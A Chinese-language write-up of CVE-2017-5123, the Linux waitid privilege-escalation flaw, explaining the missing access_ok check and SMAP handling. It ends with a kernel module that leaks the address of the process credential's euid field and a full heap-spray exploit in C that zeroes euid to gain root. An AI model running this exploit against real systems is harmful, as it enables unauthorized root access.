CVE-2017-5123 waitid syscall
漏洞来自Chris Salls’s blog ;
该漏洞由Chris Salls
发现,利用该漏洞可以实现权限提升,突破SEMP
、SMAP
、Chrome sandbox
的机制;
环境
知识储备
简单理解
在进程进行系统调用的时候,内核需要具备对该进程内存的读写能力,因此就有了copy_from_user
或者put_user
等等交互函数,用于在内核和用户之间传输数据;
put_user
大致的内容如下:
put_user(x, void __user *ptr) if (access_ok(VERIFY_WRITE, ptr, sizeof (*ptr))) return -EFAULT user_access_begin() *ptr = x user_access_end()
其中access_ok
的功能适用于检测当前的指针*ptr
是否位于用户区而非内核内存区域,如果通过了检测,就会调用user_access_begin()
关闭SMAP
,允许内核访问用户区域。此时内核将会对用户进程内存进行操作,完毕之后重新启用SMAP
。这些访问用户进程内存的函数在读写时,如果访问未映射内存,会进行页面错误处理而不会导致崩溃。
wait & waitpid & waitid
子进程结束后,需要由父进程回收子进程,所以父进程肯定是不能先于子进程结束的,但是父进程怎么才能知道子进程结束了呢?当子进程结束时,子进程会给父进程发送SIGCHILD
信号,之后父进程就会执行对子进程的操作;
涉及到几个wait相关的函数;
wait
原型
#include <sys/wait.h> pid_t wait (int *status) ;
调用wait()
会使父进程一直处于阻塞状态,直到有一个子进程结束并后返回该子进程pid,wait()
函数将子进程退出的状态存储到其引用的参数status
中,借助宏函数来进一步判断进程终止的具体原因。
因此大致的流程为:
调用wait()
阻塞等待子进程退出
回收子进程残留资源,保存在status
中
获取子进程结束状态status
,判断终止原因
示例
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> int main (void ) { pid_t pid, wpid; int status; pid = fork(); if (pid == 0 ) { sleep(300 ); printf ("child, pid = %d\n" , getpid()); return 19 ; } else if (pid > 0 ) { printf ("parent, pid = %d\n" , getpid()); wpid = wait(&status); printf ("wpid ---- = %d\n" , wpid); if (WIFEXITED(status)) { printf ("exit with %d\n" , WEXITSTATUS(status)); } else if (WIFSIGNALED(status)) { printf ("killed by %d\n" , WTERMSIG(status)); } } }
waitpid
从本质上讲,waitpid
和wait
作用相同;
原型
pid_t waitpid (pid_t pid,int *status,int options)
参数
可以看到多了两个参数pid
和options
,提供了对进程控制更加灵活的操作;
pid参数传入的应当是一个进程的pid,其有以下几个数值范围:
pid > 0
时,只等待进程ID等于pid的子进程,只要指定的子进程还没有结束,父进程就会一直等待。
pid = -1
时,等待任何一个子进程退出,没有任何限制,此时waitpid()
和wait()
的作用一模一样。
pid = 0
时,等待同一个进程组中的任何子进程,若子进程已经进入其他进程组,waitpid()
不会对它做任何处理。
pid < -1
时,等待一个指定进程组中的任何子进程,这个进程组的ID等于pid的绝对值。
options参数提供了额外控制选项,以或|
的形式来设置开启,如(WNOHANG|WUNTRACED)
:
WNOHANG
,即wait no hang
,即使没有子进程退出,也会立即返回;
WUNTRACED
,涉及到进程跟踪;
返回
waitpid()
的返回较wait()
也相对更复杂;
当正常返回的时候,waitpid返回收集到的子进程的进程ID;
如果设置了选项WNOHANG
,而调用中waitpid()
发现没有已退出的子进程可收集,则返回0
;
如果调用中出错,则返回-1
,这时errno
会被设置成相应的值以指示错误所在;
示例
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/wait.h> int main () { pid_t pid, pr; pid = fork(); if (pid < 0 ) printf ("Error occured on forking.\n" ); else if (pid == 0 ){ sleep(4 ); exit (0 ); } do { pr = waitpid(pid, NULL , WNOHANG); if (pr == 0 ){ printf ("No child exited\n" ); sleep(1 ); } }while (pr == 0 ); if (pr == pid) printf ("successfully release child %d\n" , pr); else printf ("some error occured\n" ); }
waitid
与waitpid相似,但是更加灵活;
原型
int waitid ( idtype_t idtype, id_t id, siginfo_t *infop, int options ) ;
参数
id
类似于waitpid()
中的pid
参数,是根据idytpe
而定的,其下是idtype
的几个常量:
infop
是指向siginfo
结构的指针,包含了有关引起子进程状态改变的生成信号的详细信息;
options
与waitpid()
中的options
如出一辙,配置选项,有以下的选择:
WCONTINUED
:等待一个进程,它以前曾被暂停,此后又已继续,但其状态尚未报告
WEXITED
:等待已退出的进程
WNOHANG
:如无可用的子进程退出状态,立即返回而非阻塞
WNOWAIT
:不破坏子进程退出状态。该子进程退出状态可由后续的wait、waitid或waitpid调用取得
WSTOPPED
:等待一个进程,它已经暂停,但其状态尚未报告
siginfo
下面是siginfo
的数据结构,其中包含了各种信号处理相关的结构
typedef struct siginfo { int si_signo; int si_errno; int si_code; union { int _pad[SI_PAD_SIZE]; struct { __kernel_pid_t _pid; __ARCH_SI_UID_T _uid; } _kill; struct { __kernel_timer_t _tid; int _overrun; char _pad[sizeof ( __ARCH_SI_UID_T) - sizeof (int )]; sigval_t _sigval; int _sys_private; } _timer; struct { __kernel_pid_t _pid; __ARCH_SI_UID_T _uid; sigval_t _sigval; } _rt; struct { __kernel_pid_t _pid; __ARCH_SI_UID_T _uid; int _status; __ARCH_SI_CLOCK_T _utime; __ARCH_SI_CLOCK_T _stime; } _sigchld; struct { void __user *_addr; #ifdef __ARCH_SI_TRAPNO int _trapno; #endif short _addr_lsb; union { struct { void __user *_lower; void __user *_upper; } _addr_bnd; __u32 _pkey; }; } _sigfault; struct { __ARCH_SI_BAND_T _band; int _fd; } _sigpoll; struct { void __user *_call_addr; int _syscall; unsigned int _arch; } _sigsys; } _sifields; } __ARCH_SI_ATTRIBUTES siginfo_t ;
waitid
waitid
系统调用的漏洞代码如下:
SYSCALL_DEFINE5(waitid, int , which, pid_t , upid, struct siginfo __user *, infop, int , options, struct rusage __user *, ru) { struct rusage r ; struct waitid_info info = {.status = 0 }; long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL ); int signo = 0 ; if (err > 0 ) { signo = SIGCHLD; err = 0 ; } if (!err) { if (ru && copy_to_user(ru, &r, sizeof (struct rusage))) return -EFAULT; } if (!infop) return err; user_access_begin(); unsafe_put_user(signo, &infop->si_signo, Efault); unsafe_put_user(0 , &infop->si_errno, Efault); unsafe_put_user((short )info.cause, &infop->si_code, Efault); unsafe_put_user(info.pid, &infop->si_pid, Efault); unsafe_put_user(info.uid, &infop->si_uid, Efault); unsafe_put_user(info.status, &infop->si_status, Efault); user_access_end(); return err; Efault: user_access_end(); return -EFAULT; }
user_access_begin
该函数关闭了SAMP,允许内核访问用户进程内存空间,其函数内容为:
#define user_access_begin() __uaccess_begin()
实际上调用了__uaccess_begin()
,再看看__uaccess_begin()
;
#define __uaccess_begin() stac()
实际上调用了stac()
;
stac
#define __ASM_STAC .byte 0x0f,0x01,0xcb #define X86_FEATURE_SMAP ( 9*32+20) static __always_inline void stac (void ) { alternative("" , __stringify(__ASM_STAC), X86_FEATURE_SMAP); }
这里一直跟踪alternative()
函数的执行流,最终到了下面这个代码;
#define __ALTERNATIVE_CFG(oldinstr, newinstr, feature, cfg_enabled) \ ".if " __stringify(cfg_enabled)" == 1\n" \ "661:\n\t" \ oldinstr "\n" \ "662:\n" \ ".pushsection .altinstructions,\"a\"\n" \ ALTINSTR_ENTRY(feature) \ ".popsection\n" \ ".pushsection .altinstr_replacement, \"a\"\n" \ "663:\n\t" \ newinstr "\n" \ "664:\n\t" \ ".popsection\n\t" \ ".org . - (664b-663b) + (662b-661b)\n\t" \ ".org . - (662b-661b) + (664b-663b)\n" \ ".endif\n"
stac()
函数设置了Extended Features CPUID leaf
,也就是EFLAGS
的AC
位,暂时关闭了SMAP
;
unsafe_put_user
在该漏洞版本中,缺少了access_ok()
对指针的检查,在暂时关闭了SMAP
后直接对用户内存空间进行操作;
#define unsafe_put_user(x, ptr, err_label) \ do { \ int __pu_err; \ __typeof__(*(ptr)) __pu_val = (x); \ __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \ if (unlikely(__pu_err)) goto err_label; \ } while (0)
官方提示了在使用unsafe_put_user
的时候,需要配合使用user_access_begin/end()
;
并且需要调用access_ok()
来检查指针,但是这里缺失了access_ok()
的检查;
access_ok
#define access_ok(type, addr, size) \ ({ \ WARN_ON_IN_IRQ(); \ likely(!__range_not_ok(addr, size, user_addr_max())); \ })
这里实际上检查了指针所处的内存地址范围是否合法;
user_addr_max
#define user_addr_max() (current->thread.addr_limit.seg)
user_addr_max()
为 current->thread.addr_limit.seg
,是用户态地址的边界;
__range_not_ok
#define __range_not_ok(addr, size, limit) \ ({ \ __chk_user_ptr(addr); \ __chk_range_not_ok((unsigned long __force)(addr), size, limit); \ })
于是调用__range_not_ok()
来检查地址有无越界;
__chk_user_ptr
static inline void __chk_user_ptr(const volatile void *p, size_t size){ assert(p >= __user_addr_min && p + size <= __user_addr_max); }
__chk_user_ptr()
由于检查addr
参数指针是否指向用户态;
__chk_range_not_ok
static inline bool __chk_range_not_ok(unsigned long addr, unsigned long size, unsigned long limit){ if (__builtin_constant_p(size)) return unlikely(addr > limit - size); addr += size; if (unlikely(addr < size)) return true ; return unlikely(addr > limit); }
__chk_range_not_ok()
用于检查加上偏移(size)后的addr
是否越界,即addr+size
是否仍然指向用户态;
sample
这里举一个例子,access_ok()
对地址进行检查:
static int __setup_frame(int sig, struct ksignal *ksig, sigset_t *set , struct pt_regs *regs) { struct sigframe __user *frame ; void __user *restorer; int err = 0 ; void __user *fpstate = NULL ; frame = get_sigframe(&ksig->ka, regs, sizeof (*frame), &fpstate); if (!access_ok(VERIFY_WRITE, frame, sizeof (*frame))) return -EFAULT; }
这里检查frame
的地址是否是用户态的。
setup_frame
信号处理的步骤为:
返回到用户态执行信号处理程序,CPU要从内核栈中找到返回到用户态的地址(就是调用系统调用的下一条代码指令地址)Linux为了先让信号处理程序执行,所以就需要把这个返回地址修改为信号处理程序的入口,这样当从系统调用返回到用户态时,就可以执行信号处理程序了。;
执行完信号处理程序后再返回到内核态,用户态的signal handler
执行完毕后,重新切回内核态。(通过sigreturn()
系统调用,在 sigreturn()
中恢复原来内核栈的内容,SROP是由于 sigreturn
后没有对数据做检查就弹到寄存器,导致恶意的gadgets得以执行;
在内核态完成收尾工作。
user_access_end
调用了clac()
函数;
#define user_access_end() __uaccess_end() #define __uaccess_end() clac()
clac
与stac()
同理;
#define __ASM_CLAC .byte 0x0f,0x01,0xca #define X86_FEATURE_SMAP ( 9*32+20) static __always_inline void clac (void ) { alternative("" , __stringify(__ASM_CLAC), X86_FEATURE_SMAP); }
clac()
开启了SMAP
漏洞原理
一些系统调用的函数会调用put_user
和get_user
来进行内核与用户之间的数据传输,为了避免重复检查SMAP
的开启或者关闭状态带来的额外开销,内核开发人员引用了不安全的_put_user
和unsafe_put_user
函数,它们缺少了必要的安全检查;
在内核版本4.13中,为了能够正常使用unsafe_put_user
,专门对waitid syscall
进行了更新,但仍然少了access_ok
的检查;
漏洞代码如下:
SYSCALL_DEFINE5(waitid, int , which, pid_t , upid, struct siginfo __user *, infop, int , options, struct rusage __user *, ru) { struct rusage r ; struct waitid_info info = {.status = 0 }; long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL ); int signo = 0 ; if (err > 0 ) { signo = SIGCHLD; err = 0 ; } if (!err) { if (ru && copy_to_user(ru, &r, sizeof (struct rusage))) return -EFAULT; } if (!infop) return err; user_access_begin(); unsafe_put_user(signo, &infop->si_signo, Efault); unsafe_put_user(0 , &infop->si_errno, Efault); unsafe_put_user((short )info.cause, &infop->si_code, Efault); unsafe_put_user(info.pid, &infop->si_pid, Efault); unsafe_put_user(info.uid, &infop->si_uid, Efault); unsafe_put_user(info.status, &infop->si_status, Efault); user_access_end(); return err; Efault: user_access_end(); return -EFAULT; }
所以根据上述知识储备的内容,可以知道,如果没有使用access_ok
进行检查的话,unsafe_put_user
会直接对ptr
所指的地址进行写入数据的操作,如下面对ptr
写入了x
;
#define unsafe_put_user(x, ptr, err_label) \ do { \ int __pu_err; \ __typeof__(*(ptr)) __pu_val = (x); \ __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \ if (unlikely(__pu_err)) goto err_label; \ } while (0)
而针对waitid
系统调用的源码而言,unsafe_put_user(0, &infop->si_errno, Efault)
(第二个unsafe_put_user()
)向一个可控制的地址写了一个空字节\0
,想到,如果往cred
结构体里的uid
参数写入的话,就可以实现提权了,关键在于如何找到进程空间中的cred
结构体的位置;
攻击方法
普通用户通过调用waitid()
时,使用infop
指针指向内核地址(这是因为infop
指针是一个struct siginfo _user*
的结构),此时内核会将内容x
写入该地址。
几种可用的攻击方式:
堆喷射(heap spray):fork()
大量的进程,由于每个进程都会对应一个cred
结构体,任意写某一个进程cred
的uid
,之后使用getuid()
来检测是否有进程的cred.uid
为0
;
ret2dir:首先找到用户区域和内核区域对应的physmap
的地址,往其中写入payload,通过找到内核对应的physmap
的虚拟地址,最后吧内核态的执行流拉倒内核对应的physmap
地址上;
爆破:通过爆破struct file
的地址,找到file
结构体中指向当前的cred
结构体的指针,接下来就可以直接任意写
当前的cred
结构体;
利用覆写have_canfork_calback
触发空指针引用fork()
提权;
heap spray
这里选择使用heap spray
提权;
条件:
通过unsafe_put_user
将0
写入内核任意位置;
如果知道cred
结构体地址,则可以改写uid
和euid
;
waitpid
在非法发昂文内存的时候会返回错误代码,而不会崩溃(-EFAULT);
方法:
clone()
多个进程,使得cred
结构体数目增多;
通过insmod
一个驱动,观察每个cred
结构体中的euid
的位置;
例如:
#include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/fs.h> #include <linux/proc_fs.h> #include <linux/seq_file.h> static struct proc_dir_entry * my_file ; static int my_show (struct seq_file *m, void *v) { return 0 ; } static int my_open (struct inode *inode, struct file *file) { printk("EUID: %p\n" , ¤t->cred->euid); return single_open(file, my_show, NULL ); } static const struct file_operations my_fops = { .owner = THIS_MODULE, .open = my_open, .read = seq_read, .llseek = seq_lseek, .release = single_release, }; static int __initmy_init (void ) { my_file = proc_create("jif" , 0 , NULL , &my_fops); if (!my_file) { return -ENOMEM; } return 0 ; } static void __exitmy_exit (void ) { remove_proc_entry("jif" , NULL ); } module_init(my_init); module_exit(my_exit); MODULE_LICENSE("GPL" );
利用 dmesg | grep EUID
获得cred.euid
的地址;
复现过程
首先创建一个400权限的文件;
touch file && chmod 400 file
exp
#define _GNU_SOURCE #include <stdio.h> #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/syscall.h> #include <sys/wait.h> #include <errno.h> #include <asm/unistd_64.h> #define MAX_THREADS 19970 #define STACK_SIZE 4096 #define N 256 size_t startup_64,prepare_kernel_cred,commit_creds,offset; int success_flag=1 ; void set_cpu_affinity () { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(0 ,&mask); if (sched_setaffinity(0 ,sizeof (mask),&mask)) puts ("set single CPU failed" ); return ; } int spray () { set_cpu_affinity(); int fd = open("/proc/jif" ,O_RDWR); close(fd); int euid; int old = geteuid(); while (1 ){ euid = syscall(__NR_geteuid); if (old!=euid){ printf ("[*]success!\n" ); success_flag=0 ; setuid(0 ); printf ("[*]pid:%d euid:%d uid:%d\n" ,getpid(),geteuid(),getuid()); system("id" ); system("cat cve-2017-5123" ); } if (!success_flag){ sleep(100000 ); } usleep(100000 ); } return 0 ; } int main (int argc, char **argv) { pid_t pid; for (int i=0 ;i<850 ;i++){ void *stack =malloc (STACK_SIZE); pid = clone(spray,stack ,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL ); if (pid==-1 ){ perror("[-]clone failed!" ); exit (-1 ); } } size_t start_addr = 0xffff88000d3b0004 ; size_t end_addr = 0xffff88000d3b0ff4 ; size_t inc = 0x10 ; printf ("[*]clone 850 over\n" ); for (size_t address = start_addr;success_flag;address += inc){ printf ("[*]attacking 0x%llx\n" ,address); syscall(SYS_waitid, P_ALL,0 ,address, WEXITED|WNOHANG|__WNOTHREAD, NULL ); if (address > end_addr){printf ("failed to pwn\n" );exit (0 );} usleep(100000 ); } return 0 ; }